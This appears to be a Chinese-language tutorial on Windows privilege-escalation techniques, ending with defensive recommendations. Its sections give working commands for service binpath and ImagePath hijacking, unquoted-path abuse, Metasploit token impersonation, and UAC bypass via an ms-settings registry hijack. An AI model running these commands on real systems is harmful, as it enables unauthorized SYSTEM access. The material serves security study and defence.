Permission elevation
字数 1077 2025-08-11 08:35:57
Windows权限提升技术详解
前言
本文详细介绍了多种Windows系统权限提升技术,包括系统服务提权、注册表权限滥用、未引用服务路径漏洞、令牌窃取、命名管道提权和UAC绕过等技术。这些技术仅用于安全研究和防御目的,请勿用于非法用途。
系统服务提权
不安全的服务权限
当低权限用户对高权限服务的启动文件有写权限时,可以替换服务启动程序获取高权限shell。
检测方法:
accesschk.exe /accepteula test -uwcqv *
利用步骤:
- 检查用户对哪些服务有配置权限
- 替换服务启动程序:
sc config Apache2.4 binpath= "cmd.exe /k c:\fw.exe" sc stop Apache2.4 sc start Apache2.4
服务注册表权限脆弱性
当低权限用户对服务注册表有写入权限时,可通过修改注册表提权。
检测方法:
accesschk.exe /accepteula test -uvwqk HKLM\SYSTEM\CurrentControlSet\Services
利用步骤:
- 修改ImagePath指向恶意程序:
reg add HKLM\SYSTEM\CurrentControlSet\Services\Apache2.4 /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k c:\fw.exe" /f - 检查服务重启权限:
accesschk64.exe /accepteula test -ucqv Apache2.4 - 重启服务:
sc stop Apache2.4 sc start Apache2.4
未引用服务路径漏洞
原理
当服务启动路径包含空格但未用引号括起时,Windows会尝试按空格分割执行程序。
检测方法:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\\Windows\\\\" |findstr/i /v """
利用步骤:
- 检查路径权限:
icacls "C:\Program Files (x86)" icacls "C:\Program Files (x86)\Photodex" icacls "C:\Program Files (x86)\Photodex\ProShow Producer" - 在可写目录放置恶意程序并重命名
- 重启服务或等待系统重启
Metasploit模块:
windows/local/unquoted_service_path
令牌窃取技术
访问令牌基础
访问令牌包含用户安全上下文信息,包括SID和特权列表。
查看令牌信息:
whoami /all
令牌类型
- 主令牌:与进程相关的用户安全上下文
- 模拟令牌:允许服务器临时模拟客户端安全上下文
Metasploit令牌操作
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
steal_token <PID>
进程令牌窃取实现
- 使用OpenProcess打开目标进程
- 使用OpenProcesToken获取进程令牌
- 使用DuplicateTokenEx复制令牌
- 使用CreateProcessWithTokenW创建新进程
示例代码:
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
// 代码实现略,详见原文
命名管道提权
命名管道基础
命名管道是进程间通信机制,遵循格式\\.\pipe\pipename。
管道服务器实现
#include <windows.h>
#include <iostream>
int main() {
// 创建命名管道
HANDLE lCreatePipe = CreateNamedPipe(...);
// 等待客户端连接
BOOL ConnectSuccess = ConnectNamedPipe(...);
// 读取数据
BOOL Read = ReadFile(...);
// 模拟客户端
BOOL Impersonate = ImpersonateNamedPipeClient(...);
// 获取令牌并创建进程
// 代码实现略
}
客户端实现
#include <windows.h>
#include <iostream>
int main() {
// 连接到服务端
HANDLE ConectionTo = CreateFile(...);
// 发送数据
BOOL Write = WriteFile(...);
}
UAC绕过技术
UAC基础
UAC通过创建两个访问令牌(标准用户和管理员)实现权限控制。
检查UAC状态:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
检查UAC级别:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
白名单文件绕过(注册表劫持)
- 查找autoElevate为true的白名单文件:
strings.exe -s c:\windows\system32\*.exe | findstr /i "autoElevate" - 劫持注册表项:
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "c:\windows\system32\cmd.exe /c start cmd" /f reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d ""/f
DLL劫持加模拟可信任目录
- 创建带空格的目录:
md "\\?\C:\Windows " md "\\?\C:\Windows \System32" - 复制白名单文件:
copy c:\windows\system32\winsat.exe "\\?\C:\Windows \System32\winsat.exe" - 放置恶意DLL文件
其他提权技术
组策略凭据获取
Metasploit模块:
post/windows/gather/credentials/gpp
WMIC提权
从administrator提升至system:
wmic process call create "cmd.exe"
防御建议
- 严格控制服务和注册表权限
- 对所有服务路径使用引号
- 限制SeImpersonatePrivilege等特权
- 监控命名管道活动
- 保持UAC启用并设置为较高级别
- 定期审计白名单程序注册表项
- 监控系统目录异常创建行为
以上技术仅供安全研究和防御参考,请勿用于非法用途。